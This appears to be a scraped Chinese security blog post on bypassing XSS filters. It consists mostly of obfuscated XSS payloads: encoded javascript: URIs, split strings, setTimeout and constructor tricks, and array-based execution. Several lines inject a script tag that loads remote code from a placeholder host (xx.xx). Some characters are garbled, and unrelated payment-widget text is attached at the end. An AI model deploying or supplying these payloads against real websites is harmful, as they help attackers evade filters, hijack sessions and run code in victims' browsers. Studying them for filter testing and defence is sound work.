【无标题】

L1e’s blog
首页
关于
归档
搜索
xss绕过
发表于 2019-10-12
https://www.anquanke.com/post/id/176185

https://www.anquanke.com/post/id/176300

https://www.anquanke.com/post/id/176482
在html,标签内属性的值会html解码 值以外的其他不会解码

解码
<a text=“scr” “ipt”> 不会解码
payload:
常用payload:

xss


M

alt+shift+x触发XSS得payload

使用注释

<svg/onauxClick%3D"alertHackerOne">

<img/src=“1”/οnerrοr=alert(1)>

<img src=1 οnerrοr=location=‘javascript:%61%6C%65%72%74%28%31%29’>
<img src=1 οnerrοr=location=‘javascript:\x61\x6C\x65\x72\x74\x28\x31\x29’>
<img src=1 οnerrοr=location=“javascr”+“ipt:”+“%61%6C%65%72%74%28%31%29”>

属性加混肴 j%0aAv%0dasCr%09ipt: J%0aa%0av%0aa%0as%0ac%0ar%0ai%0ap%0aT%0a: J%0aa%0dv%09a%0as%0dc%09r%0ai%0dp%09T%0d%0a: eval可以执行各种编码 unicode编码 js8 js16编码 base64编码 ascii编码 eval被拦截将e编码 unicode或者HTML实体 通过赋值操作绕过

直接οnlοad=[‘java’,‘script:’,‘alert(1)’].join(‘’)是不行的,会变成"[‘java’,‘script:’,‘alert(1)’].join(‘’)"

setTimeout(“location=[‘javascript:al’,‘ert()’].join(‘’)”)
setTimeout,setInterval(要执行的函数)
<svg/οnlοad=setInterval(‘al’%2b’ert(1)‘)>
setTimeout("location=[‘javascript:al’,‘ert()’].join(’')")
<svg/οnlοad=setTimeoutalert(1)>
<svg/οnlοad=setTimeoutalert\u00281\u0029>编码

拆分与编码
<svg/οnlοad=u0073etInterval(appendChild(createElement(‘script’)).src=‘http://xx.xx/eeW’)>
<svg/οnlοad=u0073etInterval(appendChild(createElement(‘sc162ipt’)).src=‘http://xx.xx/eeW’)>
<svg/οnlοad=u0073etInterval(appendChild(createElement(‘scr’%2b’ipt’)).src=‘http://xx.xx/eeW’)>
<svg/οnlοad=u0073etInterval(u0061ppendChild(u0063reateElement(‘scr’%2b’ipt’)).src=‘http://xx.xx/eeW’)>

结合函数:

<svg/οnlοad=Set.constructor(‘\u0061\u006C’%2b’\u0065\u0072\u0074\u0028\u0031\u0029’)()>

<svg/οnlοad=Set.constructoral\x65rt\x28/xss/\x29```> <svg/onload=Map.constructoral\x65rt\x28/xss/\x29> <svg/onload=clear.constructor`al\x65rt\x28/xss/\x29>
<svg/οnlοad=Array.constructoral\x65rt\x28/xss/\x29```> <svg/onload=WeakSet.constructoral\x65rt\x28/xss/\x29```>
利用数组
map函数
[1].map(alert) [1]为要传的参数 (alert)执行的函数
find,every,filter,forEach,findIndex和map函数同样效果

<img src=x οnerrοr=location=[‘javascript:[1]’,‘.map’,‘(al’,‘ert)’].join(‘’)>




payload
<script\x20type=“text/javascript”>javascript:alert(1);
<script\x3Etype=“text/javascript”>javascript:alert(1);
<script\x0Dtype=“text/javascript”>javascript:alert(1);
<script\x09type=“text/javascript”>javascript:alert(1);
<script\x0Ctype=“text/javascript”>javascript:alert(1);
<script\x2Ftype=“text/javascript”>javascript:alert(1);
<script\x0Atype=“text/javascript”>javascript:alert(1);
'"><\x3Cscript>javascript:alert(1)</script> '"><\x00script>javascript:alert(1)


x "> CLICKME click Click Me DC-8靶机渗透 重置密码 文章目录 站点概览 1. 常用payload: 2. 属性加混肴 3. eval可以执行各种编码 4. 通过赋值操作绕过 5. concat()函数 6. join()函数 7. setTimeout,setInterval(要执行的函数) 8. js8 16编码 9. parseInt()与toString() 10. 属性拼接 11. constructor属性 12. 利用数组 13. payload © 2020 L1e 由 Hexo 强力驱动 | 主题 — NexT.Pisces v5.1.4
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值